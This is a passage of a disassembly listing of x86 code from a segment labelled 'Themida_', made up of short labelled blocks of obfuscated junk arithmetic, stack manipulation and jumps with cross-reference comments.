eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A08D9 ; --------------------------------------------------------------------------- loc_5A4450: ; CODE XREF: Themida_:loc_5A0650j dec ecx push eax push ebx jmp loc_598CA9 ; --------------------------------------------------------------------------- loc_5A4458: ; CODE XREF: Themida_:0059E37Cj pop esp push edx push esp pop edx push 2749h mov [esp], ebp mov ebp, 7AE569BEh push edi mov edi, 7FFE2429h sub ebp, 718B5D52h add ebp, 1BD54E56h add ebp, edi sub ebp, 1BD54E56h add ebp, 718B5D52h pop edi push ebx mov ebx, 51C721Dh add ebp, ebx jmp loc_5AC69E ; --------------------------------------------------------------------------- loc_5A4497: ; CODE XREF: Themida_:005A97B8j mov ecx, 17171A32h push ebx mov ebx, 0E8E8E5D0h add ecx, ebx pop ebx add esi, ecx pop ecx jmp loc_5A56BF ; --------------------------------------------------------------------------- loc_5A44AD: ; CODE XREF: Themida_:005AE039j xor dl, 4Eh xor dl, 53h add bh, dl pop edx shl bh, 3 jmp loc_59A784 ; --------------------------------------------------------------------------- loc_5A44BE: ; CODE XREF: Themida_:005ACC4Fj xor edx, 5EE61538h jmp loc_5AEA43 ; --------------------------------------------------------------------------- loc_5A44C9: ; CODE XREF: Themida_:005A306Aj ; Themida_:005A59CAj pop ebx pop edx mov ebx, [esp] add esp, 4 push ebx jmp loc_59C890 ; --------------------------------------------------------------------------- loc_5A44D7: ; CODE XREF: Themida_:0059FA7Ej ; Themida_:005AF9CBj add ebp, ebx sub ebp, 51115BDh mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 4 sub ebp, 746A7FBDh jmp loc_5A4F58 ; --------------------------------------------------------------------------- loc_5A44FB: ; CODE XREF: Themida_:005AECE0j sub esp, 4 mov [esp], ebp jmp loc_5A0C4D ; --------------------------------------------------------------------------- loc_5A4509: ; CODE XREF: Themida_:0059CA95j not ecx xchg ecx, edi sub edi, 0F2FAC1CDh mov edx, edi pop edi push 7B64h mov [esp], edx mov ebp, [esp] add esp, 4 pop edx add eax, ebp push dword ptr [esp] pop ebp add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov ax, [esp] push eax jmp loc_5A0CCA ; --------------------------------------------------------------------------- loc_5A4548: ; CODE XREF: Themida_:0059A543j push dword ptr [esp] jmp loc_5AF4B8 ; --------------------------------------------------------------------------- loc_5A4550: ; CODE XREF: Themida_:005A6C89j xor esi, [esp] mov esp, [esp] mov ax, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A5C90 ; --------------------------------------------------------------------------- loc_5A4570: ; CODE XREF: Themida_:005AACB3j pop edx push 4F6Fh jmp loc_59EE7A ; --------------------------------------------------------------------------- loc_5A457B: ; DATA XREF: Themida_:005987B8o mov cx, [esp] push eax sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop eax push edx push ecx jmp loc_5ABABF ; --------------------------------------------------------------------------- loc_5A4599: ; CODE XREF: Themida_:005A4E02j not ecx add ecx, 0FFFFFFFFh neg ecx push edi jmp loc_59A94C ; --------------------------------------------------------------------------- loc_5A45A9: ; CODE XREF: Themida_:0059AFC8j sub esp, 4 mov [esp], edx mov edx, 471A0CCDh or edx, 1BF07E37h jmp loc_5AE747 ; --------------------------------------------------------------------------- loc_5A45C2: ; CODE XREF: Themida_:005A6D43j add edi, 5BFE35E0h jmp loc_5A96C6 ; --------------------------------------------------------------------------- loc_5A45CD: ; CODE XREF: Themida_:005AEADBj add esi, edx pop edx jmp loc_59D990 ; --------------------------------------------------------------------------- loc_5A45D5: ; CODE XREF: Themida_:005AA545j sub edi, 280B4690h jmp loc_5A7F46 ; --------------------------------------------------------------------------- loc_5A45E0: ; CODE XREF: Themida_:0059E191j mov dh, cl jmp loc_5A090D ; --------------------------------------------------------------------------- loc_5A45E7: ; CODE XREF: Themida_:005A9B81j shl edx, 6 xor edx, 36630650h sub edx, 0C8691D87h xor ebx, edx pop edx add [edx], ebx pop ebx pop edx pop ecx loc_5A45FE: ; CODE XREF: Themida_:005AB45Bj push 7678h mov [esp], ebx push 6977h jmp loc_5A8F39 ; --------------------------------------------------------------------------- loc_5A4610: ; CODE XREF: Themida_:005A1771j mov [esp], eax mov eax, 71F43312h push esi mov esi, 3008274Bh and eax, esi pop esi neg eax shl eax, 5 and eax, 158A3DB8h jmp loc_598DE2 ; --------------------------------------------------------------------------- loc_5A4630: ; CODE XREF: Themida_:005A3813j push edi jmp loc_59A108 ; --------------------------------------------------------------------------- loc_5A4636: ; CODE XREF: Themida_:loc_5AEF08j push eax not byte ptr [esp+1] pop eax neg ah jmp loc_5A2A61 ; --------------------------------------------------------------------------- loc_5A4643: ; CODE XREF: Themida_:0059DFDAj add edx, 568618EBh mov ebp, [esp] add esp, 4 jmp loc_5A53B8 ; --------------------------------------------------------------------------- loc_5A4654: ; CODE XREF: Themida_:005ABC68j pop ebx add ebp, 34D94D38h jg loc_5A07DF push eax mov eax, 0F88705Bh sub ebp, eax pop eax push ecx pop edi loc_5A466C: ; CODE XREF: Themida_:005A891Aj mov [esp], ecx jmp loc_5A2DE2 ; --------------------------------------------------------------------------- loc_5A4674: ; CODE XREF: Themida_:005A1207j xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_5AE220 ; --------------------------------------------------------------------------- loc_5A4680: ; CODE XREF: Themida_:005A120Ej jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4685: ; CODE XREF: Themida_:005A47A6j pop ebp jmp loc_5A7424 ; --------------------------------------------------------------------------- loc_5A468B: ; CODE XREF: Themida_:005AAA3Cj sub esi, 33342761h push dword ptr [esp] pop ebx jmp loc_5A2A6C ; --------------------------------------------------------------------------- loc_5A469A: ; CODE XREF: Themida_:0059CF7Cj sub eax, ebx jmp loc_5A6A74 ; --------------------------------------------------------------------------- loc_5A46A1: ; CODE XREF: Themida_:0059FF01j xor esi, 0D69B9C91h mov edi, esi pop esi add eax, edi pop edi push 6ADh mov [esp], esi mov esi, 67A12420h neg esi shl esi, 4 xor esi, 58D00A8Dh not esi jmp loc_599BA3 ; --------------------------------------------------------------------------- loc_5A46CC: ; CODE XREF: Themida_:005AC4CBj xor ebx, 99277CFFh mov edx, ebx pop ebx add ecx, edx jmp loc_59FCA5 ; --------------------------------------------------------------------------- loc_5A46DC: ; CODE XREF: Themida_:005A9F55j sub esp, 4 mov [esp], ecx mov ecx, 52165E3Ah and ecx, 17E43DAh xor ecx, 6B9A36A3h sub ecx, 0A304615Eh jmp loc_59A298 ; --------------------------------------------------------------------------- loc_5A4701: ; CODE XREF: Themida_:0059F05Ej push ecx push edi push 7750135Fh jmp loc_5A11F0 ; --------------------------------------------------------------------------- loc_5A470D: ; CODE XREF: Themida_:005AB7D9j push ecx jmp loc_5ADB2A ; --------------------------------------------------------------------------- loc_5A4713: ; CODE XREF: Themida_:005A7A90j pop ebx xchg esi, [esp] pop esp mov [esp], ebx jmp loc_5AF907 ; --------------------------------------------------------------------------- loc_5A4720: ; CODE XREF: Themida_:005AC1A8j and di, 7A05h inc di push ecx mov cx, 2B5Bh jmp loc_5A4E07 ; --------------------------------------------------------------------------- loc_5A4731: ; CODE XREF: Themida_:005A6913j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push esp pop ecx jmp loc_5A26F7 ; --------------------------------------------------------------------------- loc_5A474B: ; CODE XREF: Themida_:005AB200j pop ebp shl ebp, 8 add ebp, 7CE0BEFFh mov esi, ebp pop ebp sub ecx, esi jmp loc_59A182 ; --------------------------------------------------------------------------- loc_5A475F: ; CODE XREF: Themida_:005A7253j pop ebx add ebx, ecx pop ecx xor [esp], ebx xor ebx, [esp] jmp loc_5AB4CF ; --------------------------------------------------------------------------- loc_5A476E: ; CODE XREF: Themida_:0059BF43j mov edi, 4 jmp loc_5ABA22 ; --------------------------------------------------------------------------- loc_5A4778: ; CODE XREF: Themida_:005A5F7Dj push ecx push eax push ecx mov ch, 0EFh sub ch, 1 dec ch sub ch, 2Eh shr ch, 4 jmp loc_598E09 ; --------------------------------------------------------------------------- loc_5A478D: ; CODE XREF: Themida_:005AA497j mov ebp, 161E14BFh add ebp, 0F8ADF2D6h sub edi, 50DB7356h sub edi, ebp add edi, 50DB7356h jmp loc_5A4685 ; --------------------------------------------------------------------------- loc_5A47AB: ; CODE XREF: Themida_:005A6E24j add ecx, 0FF742950h jmp loc_5A6AAE ; --------------------------------------------------------------------------- loc_5A47B6: ; CODE XREF: Themida_:005A40EEj mov [esp], ebx push 5EF5h mov [esp], esi push 0E313569h mov esi, [esp] add esp, 4 xor esi, 4250273Ah jnb loc_5A431E xor esi, 718174BCh mov ebx, esi pop esi neg ebx push eax loc_5A47E4: ; CODE XREF: Themida_:loc_5A20E8j xor edx, 65B5EAEFh xor esi, edx jmp loc_5AAEF9 ; --------------------------------------------------------------------------- loc_5A47F1: ; CODE XREF: Themida_:005A1CD6j pop ax push bp xor word ptr [esp], 787Dh pop dx xor dx, 787Dh pop ebp mov cx, 3771h add cx, 4086h add cx, dx sub cx, 4086h mov edx, [esp] add esp, 4 push eax mov ax, 670h inc ax inc ax inc ax add ax, 5260h add bx, ax pop eax jmp loc_5ACAB8 ; --------------------------------------------------------------------------- loc_5A4835: ; CODE XREF: Themida_:005AFA04j push dword ptr [esp] pop eax add esp, 4 push eax push esp jmp loc_5A7A17 ; --------------------------------------------------------------------------- loc_5A4843: ; CODE XREF: Themida_:005AB271j mov ebp, 411492Ch jmp loc_5ADF69 ; --------------------------------------------------------------------------- loc_5A484D: ; CODE XREF: Themida_:0059C8FCj mov edi, 0B15616Eh sub edi, 0CE3180C6h sub esi, edi pop edi sub ebp, esi pop esi jmp loc_5A0625 ; --------------------------------------------------------------------------- loc_5A4863: ; CODE XREF: Themida_:005A77E7j ; Themida_:005AF30Dj shl ebp, 8 xor ebp, 0F5348B02h add esi, 77FC08A7h add esi, ebp jmp loc_5A6C7C ; --------------------------------------------------------------------------- loc_5A4879: ; CODE XREF: Themida_:005A1507j pop esi jmp loc_5A0BC9 ; --------------------------------------------------------------------------- loc_5A487F: ; CODE XREF: Themida_:005AB800j sub ch, dh jmp loc_5AB18E ; --------------------------------------------------------------------------- loc_5A4886: ; DATA XREF: Themida_:005987DCo mov ax, [esp] push edi push 5725h mov [esp], esp jmp loc_5A7693 ; --------------------------------------------------------------------------- loc_5A4898: ; CODE XREF: Themida_:005AD4D4j not eax sub eax, 0BBCB3C4Ah xor edx, eax mov eax, [esp] add esp, 4 add edx, 5E770570h jnz loc_59D7E4 xor edx, 96E05EEh mov ebp, edx mov edx, [esp] loc_5A48C1: ; CODE XREF: Themida_:005A8092j pop edx push ebp mov ebp, 75D03733h xor ebp, 13336BBCh jb loc_59F1CA neg ebp jle loc_5A50DD jmp loc_5A0D75 ; --------------------------------------------------------------------------- sub ebx, 0FFFFFFFFh push ecx loc_5A48E8: ; CODE XREF: Themida_:0059F1EEj pop ecx jmp loc_59A531 ; --------------------------------------------------------------------------- loc_5A48EE: ; CODE XREF: Themida_:005A5925j xor esi, 0F4DFF1C4h add ebp, esi pop esi push eax mov eax, esp jmp loc_5ABA3E ; --------------------------------------------------------------------------- loc_5A48FF: ; CODE XREF: Themida_:005A5DCCj neg esi dec esi xor esi, 5978C1A3h sub ebx, esi pop esi sub eax, 236E7B45h sub eax, 0D49333Ah add eax, ebx add eax, 0D49333Ah push ebp mov ebp, 236E7B45h add eax, ebp pop ebp pop ebx push esi mov esi, 152C19CFh shr esi, 7 jmp loc_59B37B ; --------------------------------------------------------------------------- loc_5A4934: ; CODE XREF: Themida_:005AA035j mov [esp], edx push eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A493E: ; CODE XREF: Themida_:0059903Dj push ecx mov ecx, esp jmp loc_5AC37D ; --------------------------------------------------------------------------- loc_5A4946: ; CODE XREF: Themida_:005A52A9j sub esp, 2 mov [esp], cx mov cl, 1Fh sub dh, cl mov cx, [esp] add esp, 2 sub dh, 1 push ax jmp loc_5AEE7E ; --------------------------------------------------------------------------- loc_5A4962: ; CODE XREF: Themida_:005A5495j add edx, 4 xchg edx, [esp] mov esp, [esp] mul ecx sub esp, 4 mov [esp], edi push esp jmp loc_59958E ; --------------------------------------------------------------------------- loc_5A497C: ; CODE XREF: Themida_:0059C2BAj add edi, 7CB402BAh jl loc_5A380D xor edi, 7DF812B5h jmp loc_5A86C0 ; --------------------------------------------------------------------------- loc_5A4993: ; CODE XREF: Themida_:005A524Dj xor eax, esi xor esi, eax xor eax, esi xor esi, eax xor eax, esi jmp loc_59DF93 ; --------------------------------------------------------------------------- loc_5A49A2: ; CODE XREF: Themida_:005A0169j pop edx jmp loc_59A843 ; --------------------------------------------------------------------------- loc_5A49A8: ; CODE XREF: Themida_:005A4D78j jp loc_59D1AC sub edx, 7DF36C06h jg loc_5AE785 not edx add edx, 178316A6h jmp loc_59BD15 ; --------------------------------------------------------------------------- loc_5A49C7: ; CODE XREF: Themida_:0059BD56j pop ecx pop eax pop edx push dword ptr [esp] pop ebx jmp loc_5ABBBB ; --------------------------------------------------------------------------- loc_5A49D3: ; CODE XREF: Themida_:005A2E06j ; Themida_:005A65B8j xor edx, 24F15B98h jns loc_5A5804 shl edx, 3 jmp loc_5A6141 ; --------------------------------------------------------------------------- push eax or al, 11h loc_5A49EA: ; CODE XREF: Themida_:0059968Dj neg eax shr eax, 1 jnz loc_598BED add eax, 0AF474029h jmp loc_5992F1 ; --------------------------------------------------------------------------- sub ebx, edi loc_5A4A00: ; CODE XREF: Themida_:005A42E4j ; Themida_:005A58FAj add ebx, 0ED7A4779h sub edi, ebx pop ebx neg edi and edi, 36A2337Fh sub edi, 0BD0685C8h jmp loc_59A36B ; --------------------------------------------------------------------------- loc_5A4A1C: ; CODE XREF: Themida_:0059FAB2j pop ebx or edi, 7F487672h and edi, 3FE9359Eh push esi jmp loc_5A361E ; --------------------------------------------------------------------------- loc_5A4A2F: ; CODE XREF: Themida_:0059FCA0j mov [esp], ecx mov ecx, 25D0464Fh and esi, ecx jmp loc_5A01E3 ; --------------------------------------------------------------------------- loc_5A4A3E: ; CODE XREF: Themida_:0059B740j mov esp, [esp] push ecx jmp loc_5A5B5F ; --------------------------------------------------------------------------- loc_5A4A47: ; CODE XREF: Themida_:loc_59EA9Ej push edx mov dl, 9 push ecx mov ch, 6Ah sub dl, ch pop ecx shl dl, 4 or dl, 0D6h jmp loc_5A195D ; --------------------------------------------------------------------------- loc_5A4A5B: ; CODE XREF: Themida_:005A691Ej push ecx jmp loc_5A8011 ; --------------------------------------------------------------------------- loc_5A4A61: ; CODE XREF: Themida_:005A5ACEj add edi, ebp jmp loc_5AB6A3 ; --------------------------------------------------------------------------- loc_5A4A68: ; CODE XREF: Themida_:005AAB87j and edx, 5D3A7786h and edx, 62FF5711h jmp loc_5A76A7 ; --------------------------------------------------------------------------- loc_5A4A79: ; CODE XREF: Themida_:0059E95Ej mov [esp], ecx push 355h mov [esp], edx push eax mov al, 6Bh jmp loc_5A32A3 ; --------------------------------------------------------------------------- loc_5A4A8C: ; CODE XREF: Themida_:0059B288j shl eax, 5 jmp loc_5A4FC2 ; --------------------------------------------------------------------------- loc_5A4A94: ; CODE XREF: Themida_:loc_5AF9D8j xor ebp, 446607EAh jb loc_5A2524 sub ebp, 5C367BF9h or ebp, 6FD711BDh jmp loc_5A6412 ; --------------------------------------------------------------------------- loc_5A4AB1: ; CODE XREF: Themida_:0059EC2Ej add eax, 4 jmp loc_59EA31 ; --------------------------------------------------------------------------- loc_5A4AB9: ; CODE XREF: Themida_:005A8279j inc ebp jmp loc_59C317 ; --------------------------------------------------------------------------- loc_5A4ABF: ; CODE XREF: Themida_:0059DB35j add ecx, edi sub ecx, 364136E6h push 1511h jmp loc_5A21BC ; --------------------------------------------------------------------------- loc_5A4AD1: ; CODE XREF: Themida_:005AE41Dj mov [esp], ebx push dword ptr [esp] jmp loc_5AA316 ; --------------------------------------------------------------------------- loc_5A4ADC: ; CODE XREF: Themida_:0059DBF1j add esp, 4 push 4315h jmp loc_59A51E ; --------------------------------------------------------------------------- loc_5A4AE9: ; CODE XREF: Themida_:005A3D12j add edx, 4 xchg edx, [esp] pop esp push ecx jmp loc_5AFDA8 ; --------------------------------------------------------------------------- loc_5A4AF6: ; CODE XREF: Themida_:005A5B84j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4AFB: ; CODE XREF: Themida_:005A23D6j mov ebp, 4 add [esp+4], ebp pop ebp mov edi, [esp] jmp loc_59ABBC ; --------------------------------------------------------------------------- loc_5A4B0D: ; CODE XREF: Themida_:005AE742j shr ecx, 5 add ecx, 28557340h sub ecx, 622E27E8h mov eax, ecx jmp loc_5AC46E ; --------------------------------------------------------------------------- loc_5A4B23: ; CODE XREF: Themida_:005A5545j pop ebx add ebp, eax add ebp, 608459A1h mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi push 4 pop edi push ecx mov ecx, 441C467Dh sub ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 2B7043D6h add ebp, edi sub ebp, 2B7043D6h push ebx push ecx mov ecx, 3D1E3C75h mov ebx, ecx pop ecx push eax mov eax, 24610A4Fh jmp loc_5998F6 ; --------------------------------------------------------------------------- loc_5A4B77: ; CODE XREF: Themida_:loc_5ADB9Cj jmp loc_5993B6 ; --------------------------------------------------------------------------- loc_5A4B7C: ; CODE XREF: Themida_:005AB6B7j sub ebx, 438A433Bh shr ebx, 2 xor ebx, 335FA655h add ecx, ebx pop ebx push esi mov esi, 2 add ecx, esi pop esi jmp loc_5A34B2 ; --------------------------------------------------------------------------- loc_5A4B9C: ; CODE XREF: Themida_:0059F6ECj mov ebx, 0FFFFFFFFh sub edi, ebx pop ebx jmp loc_5A409C ; --------------------------------------------------------------------------- loc_5A4BA9: ; CODE XREF: Themida_:0059AD51j mov ebx, esi pop esi jmp loc_5A01C8 ; --------------------------------------------------------------------------- loc_5A4BB1: ; CODE XREF: Themida_:005A26E0j not esi neg esi jmp loc_59A8F4 ; --------------------------------------------------------------------------- loc_5A4BBA: ; CODE XREF: Themida_:0059C16Fj pop eax inc eax xor eax, 7D7724DAh and eax, 21C9213Eh and eax, 54A42B47h shr eax, 5 push edx mov edx, 5C5353B0h jmp loc_5A30C0 ; --------------------------------------------------------------------------- loc_5A4BD9: ; CODE XREF: Themida_:005AB28Aj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebx, [esp] pop esp shr eax, 10h xor eax, ecx jmp loc_59900C ; --------------------------------------------------------------------------- loc_5A4BF6: ; CODE XREF: Themida_:005A1F15j xchg eax, ecx jmp loc_59ED82 ; --------------------------------------------------------------------------- loc_5A4BFC: ; CODE XREF: Themida_:0059EF54j add esp, 2 jmp loc_5A1F95 ; --------------------------------------------------------------------------- loc_5A4C04: ; CODE XREF: Themida_:005A7E9Dj mov [esp], edi jmp loc_59BF86 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push 44D2h mov [esp], ebp mov ebp, esp jmp loc_59CB83 ; --------------------------------------------------------------------------- loc_5A4C27: ; CODE XREF: Themida_:00599B9Ej push ecx push ebp push 37305934h pop ebp sub ebp, 37305930h jmp loc_5A1B2C ; --------------------------------------------------------------------------- loc_5A4C3A: ; CODE XREF: Themida_:0059ADF1j pop esi sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5AF859 ; --------------------------------------------------------------------------- loc_5A4C4A: ; CODE XREF: Themida_:005A510Aj mov ebp, 1 sub edx, ebp pop ebp shr edx, 3 push edi mov edi, 3E0E5A5Eh jmp loc_5A6C34 ; --------------------------------------------------------------------------- loc_5A4C60: ; CODE XREF: Themida_:005A43DEj add esp, 4 jmp loc_5ACA45 ; --------------------------------------------------------------------------- loc_5A4C6B: ; CODE XREF: Themida_:005AD3B6j mov edi, 3698090Bh jmp loc_59D562 ; --------------------------------------------------------------------------- loc_5A4C75: ; CODE XREF: Themida_:005A6AEFj sub eax, edi jmp loc_5AFC60 ; --------------------------------------------------------------------------- loc_5A4C7C: ; CODE XREF: Themida_:005A3CF1j pop esp push edx jmp loc_5A9B1E ; --------------------------------------------------------------------------- loc_5A4C83: ; CODE XREF: Themida_:005AE9BCj mov [esp], esi mov esi, 29AC1705h sub esp, 4 mov [esp], ebp mov ebp, 60F3385Ah sub esi, ebp jmp loc_5AB142 ; --------------------------------------------------------------------------- loc_5A4CA0: ; CODE XREF: Themida_:005AC8AAj push small 4EF8h push sp pop small word ptr [esp] push si jmp loc_5ABC08 ; --------------------------------------------------------------------------- loc_5A4CB1: ; CODE XREF: Themida_:005ADE1Cj pop eax jmp loc_5AB3DB ; --------------------------------------------------------------------------- loc_5A4CB7: ; CODE XREF: Themida_:005ADD1Aj add edx, 623633E9h jp loc_5A37C1 xor edx, 4C425281h jnp loc_5A7DB6 mov edi, edx push esi loc_5A4CD2: ; CODE XREF: Themida_:005A3FE0j xchg ebp, [esp] mov esp, [esp] sub al, bl sub al, 63h push 6DD3h jmp loc_59F480 ; --------------------------------------------------------------------------- loc_5A4CE6: ; CODE XREF: Themida_:005AF6ACj sub ebp, ecx push eax mov eax, 12BE20CAh sub eax, 1 push ecx mov ecx, 0CF84B3FDh sub eax, ecx pop ecx add ebp, eax pop eax add ebp, 66A13FE1h pop ecx jmp loc_5A07A9 ; --------------------------------------------------------------------------- loc_5A4D09: ; CODE XREF: Themida_:005A9938j neg bh dec bh sub bh, 0A0h sub al, bh pop ebx sub al, bh push ebx mov bh, 0B3h jmp loc_5AA3E7 ; --------------------------------------------------------------------------- loc_5A4D1D: ; CODE XREF: Themida_:005AA9E4j mov edx, 503B0AEAh add edx, 7051017Dh inc edx jmp loc_599AAA ; --------------------------------------------------------------------------- loc_5A4D2E: ; CODE XREF: Themida_:005AB418j xor ecx, 6CBD7772h sub edx, ecx pop ecx pop ebp jmp loc_5AAFDA ; --------------------------------------------------------------------------- loc_5A4D3D: ; CODE XREF: Themida_:005A6C91j xchg cl, dh inc dh push ecx mov cl, 0E3h jmp loc_5AEE18 ; --------------------------------------------------------------------------- loc_5A4D49: ; CODE XREF: Themida_:005AE110j sub edi, 57731FFAh mov eax, [esp] add esp, 4 xchg edi, [esp] jmp loc_5A203E ; --------------------------------------------------------------------------- loc_5A4D5D: ; CODE XREF: Themida_:005AD5A5j mov [esp], ecx jmp loc_5A5FA0 ; --------------------------------------------------------------------------- loc_5A4D65: ; CODE XREF: Themida_:0059B802j ; Themida_:005A12BEj pop esp add al, bl jmp loc_5AF1F9 ; --------------------------------------------------------------------------- loc_5A4D6D: ; CODE XREF: Themida_:005A50B7j push edx mov edx, 60FF1936h not edx shr edx, 7 jmp loc_5A49A8 ; --------------------------------------------------------------------------- loc_5A4D7D: ; CODE XREF: Themida_:005AE5E0j add esi, 4 jmp loc_5AF1AB ; --------------------------------------------------------------------------- loc_5A4D88: ; CODE XREF: Themida_:00598A44j push eax mov eax, 1A815A3Fh mov edx, 5519BD2Ch jmp loc_5ABB6B ; --------------------------------------------------------------------------- loc_5A4D98: ; CODE XREF: Themida_:005AFCABj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4D9D: ; CODE XREF: Themida_:0059CC7Bj pop esi sub ebx, 4CA14F09h add ebx, eax add ebx, 4CA14F09h push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi sub eax, 4 xchg eax, [esp] jmp loc_5A7A3A ; --------------------------------------------------------------------------- loc_5A4DC5: ; CODE XREF: Themida_:005AC889j add ecx, 2824304h mov edx, ecx jmp loc_5A91E8 ; --------------------------------------------------------------------------- loc_5A4DD2: ; CODE XREF: Themida_:005A77ACj add esi, ebx sub esi, 2AE66228h pop ebx push ecx jmp loc_5AF3EA ; --------------------------------------------------------------------------- loc_5A4DE1: ; CODE XREF: Themida_:005AE502j shr dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4DEA: ; CODE XREF: Themida_:0059A279j ; Themida_:005AFABBj add esp, 4 jmp loc_5A0EBF ; --------------------------------------------------------------------------- loc_5A4DF2: ; CODE XREF: Themida_:005A008Bj push 47EFh mov [esp], edx mov edx, 65E0802h mov ecx, edx pop edx jmp loc_5A4599 ; --------------------------------------------------------------------------- loc_5A4E07: ; CODE XREF: Themida_:005A472Cj neg cx shr cx, 2 push bp mov bp, 7FB1h jmp loc_598B3C ; --------------------------------------------------------------------------- loc_5A4E19: ; CODE XREF: Themida_:005A6867j pop ebx add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push 6E9Fh mov [esp], ebp push 6D64h mov [esp], edx mov edx, 4 jmp loc_59C889 ; --------------------------------------------------------------------------- loc_5A4E43: ; CODE XREF: Themida_:0059E156j ; Themida_:0059FEDEj mov [esp], edx mov edx, 15A86C8Dh sub edx, 1B0B1111h push ebx mov ebx, 0FA9D5B78h xor edx, ebx pop ebx add eax, edx pop edx push edi mov edi, 4 sub eax, 531C4ADDh add eax, edi push edi mov edi, 50CB3CD4h shl edi, 3 not edi xor edi, 2ABA5382h add eax, edi pop edi pop edi push eax push dword ptr [esp+4] jmp loc_59A6AF ; --------------------------------------------------------------------------- loc_5A4E89: ; CODE XREF: Themida_:005A3E2Fj ; Themida_:005AD7C5j pop ax jmp loc_598C38 ; --------------------------------------------------------------------------- loc_5A4E90: ; CODE XREF: Themida_:00599BD4j add ebx, ecx pop ecx sub ebx, 4 jmp loc_5A68E8 ; --------------------------------------------------------------------------- loc_5A4E9E: ; CODE XREF: Themida_:005A0737j mov edi, esp jmp loc_5A9304 ; --------------------------------------------------------------------------- loc_5A4EA5: ; CODE XREF: Themida_:0059EA43j shl ch, 6 jmp loc_59EA9E ; --------------------------------------------------------------------------- loc_5A4EAD: ; CODE XREF: Themida_:005A193Ej push ebx mov bl, 0CDh jmp loc_5AE9E3 ; --------------------------------------------------------------------------- loc_5A4EB5: ; CODE XREF: Themida_:0059E4C8j add edi, 4 add edi, 4 jmp loc_599A36 ; --------------------------------------------------------------------------- loc_5A4EC3: ; CODE XREF: Themida_:005ABE1Bj or edx, 7A82E57h jz loc_5A6BDC jmp loc_5A60FA ; --------------------------------------------------------------------------- loc_5A4ED4: ; CODE XREF: Themida_:0059B698j mov esi, [esp] add esp, 4 push edx mov edx, esp add edx, 4 push 67B4h mov [esp], eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4F06: ; CODE XREF: Themida_:0059BC31j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A4F0B: ; CODE XREF: Themida_:0059B291j jns loc_5A9DE2 not eax add eax, 0CE517951h push 0 neg byte ptr [esp] pushf jmp loc_59A12E ; --------------------------------------------------------------------------- loc_5A4F26: ; CODE XREF: Themida_:005A3BF9j push 4 pop esi add edx, 39F17F73h push eax jmp loc_5A0E9D ; --------------------------------------------------------------------------- loc_5A4F38: ; CODE XREF: Themida_:loc_59B19Ej not eax add eax, 0FABAD2CDh jmp loc_5AEE18 ; --------------------------------------------------------------------------- loc_5A4F44: ; CODE XREF: Themida_:005A62D4j ; Themida_:005AF518j push ecx mov ecx, esp push ebx mov ebx, 5119596Eh sub ebx, 73DF4281h jmp loc_59C9FA ; --------------------------------------------------------------------------- loc_5A4F58: ; CODE XREF: Themida_:005A44F6j sub ebp, edx add ebp, 746A7FBDh jmp loc_59EC1F ; --------------------------------------------------------------------------- loc_5A4F65: ; CODE XREF: Themida_:005AAF92j neg edx jbe loc_5A2CFB push eax mov eax, 590C6F83h neg eax push ecx mov ah, bl mov cl, al loc_5A4F7A: ; CODE XREF: Themida_:loc_5AAEB1j jmp loc_5A7586 ; --------------------------------------------------------------------------- loc_5A4F7F: ; CODE XREF: Themida_:005A0F2Dj push eax mov eax, 1D0754A8h shl eax, 2 push ebx jmp loc_5AC82D ; --------------------------------------------------------------------------- loc_5A4F8E: ; CODE XREF: Themida_:005AE83Fj sub ebx, 37A52391h push edi mov edi, 2D74210Ah jmp loc_5A18DC ; --------------------------------------------------------------------------- loc_5A4F9F: ; CODE XREF: Themida_:005A111Aj mov dl, bl mov ebx, [esp] add esp, 4 mov cl, dl pop edx shr cl, 6 push eax jmp loc_5A34E2 ; --------------------------------------------------------------------------- loc_5A4FB6: ; CODE XREF: Themida_:005A6675j ; Themida_:005A7BB4j add [esp+4], ebp mov ebp, [esp] jmp loc_5A7D04 ; --------------------------------------------------------------------------- loc_5A4FC2: ; CODE XREF: Themida_:005A4A8Fj jns loc_5A1659 not eax add eax, 0CE517951h mov al, bl mov bh, ah loc_5A4FD3: ; CODE XREF: Themida_:005A639Ej add edx, 4ADE1496h push dword ptr [esp] pop ebx add esp, 4 add edx, edi push ebx push eax push 2CFF4423h mov eax, [esp] jmp loc_5A437F ; --------------------------------------------------------------------------- mov cx, [esp] push 3CB5h jmp loc_5A67C2 ; --------------------------------------------------------------------------- loc_5A5002: ; CODE XREF: Themida_:0059B1DEj push 0A73h mov [esp], ecx mov ecx, esp push eax mov eax, 278B1600h sub eax, 278B15FCh add ecx, eax mov eax, [esp] add esp, 4 jmp loc_598BA8 ; --------------------------------------------------------------------------- loc_5A5027: ; CODE XREF: Themida_:005AA21Aj mov ebp, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push ebp jmp loc_5AAD86 ; --------------------------------------------------------------------------- loc_5A5039: ; CODE XREF: Themida_:005A2379j inc bl jge loc_5A3A91 or bl, 3Bh add bl, 0F8h jmp loc_5AF329 ; --------------------------------------------------------------------------- loc_5A504C: ; CODE XREF: Themida_:005AAEB7j add ecx, 